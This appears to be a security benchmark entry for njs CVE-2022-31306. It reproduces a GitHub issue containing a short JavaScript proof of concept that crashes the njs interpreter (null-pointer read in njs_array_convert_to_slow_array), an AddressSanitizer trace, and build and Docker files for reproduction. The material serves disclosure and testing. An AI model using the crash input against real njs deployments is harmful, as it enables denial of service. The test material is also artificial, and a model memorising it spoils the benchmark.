Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2022-31306
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/481
## Description:
Issue: nginx/njs#481
Title: SEGV njs_array.c:151:13 in njs_array_convert_to_slow_array
State: closed
Created by: Q1IQ
Created at: 2022-03-02 11:45:41+00:00
Labels: bug, fuzzer

Issue Body:
### Environment

```
OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit  : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build   : 
          NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
          NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```

### Proof of concept

```
function main() {
const a3 = [42881,0];
function a5(a6,a7) {
    const a8 = {"get":a7,"set":a7};
    const a11 = {"get":a7};
    const a12 = Object.defineProperty(a8,"set",a11);
    const a13 = Object.defineProperty(a3,1,a8);
}
const a14 = a5(RangeError,a5);
}
main();
```

### Stack dump

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732125==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051dc3a bp 0x7ffde9d83b90 sp 0x7ffde9d83a80 T0)
==732125==The signal is caused by a READ memory access.
==732125==Hint: address points to the zero page.
    #0 0x51dc3a in njs_array_convert_to_slow_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13
    #1 0x5185e7 in njs_object_prop_define /home/q1iq/Documents/origin/njs_f65981b/src/njs_object_prop.c:288:19
    #2 0x51466c in njs_object_define_property /home/q1iq/Documents/origin/njs_f65981b/src/njs_object.c:1268:11
    #3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
    #4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #7 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #8 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #9 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
    #10 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
    #11 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
    #12 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
    #13 0x7f70d74f10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #14 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:151:13 in njs_array_convert_to_slow_array
==732125==ABORTING

```

### Credit

Q1IQ(@Q1IQ)


Commit References:
f65981b0b8fcf02d69a40bc934803c25c9f607ab

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 99239ae377a71a4c79213f4be69d828c399e23da
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: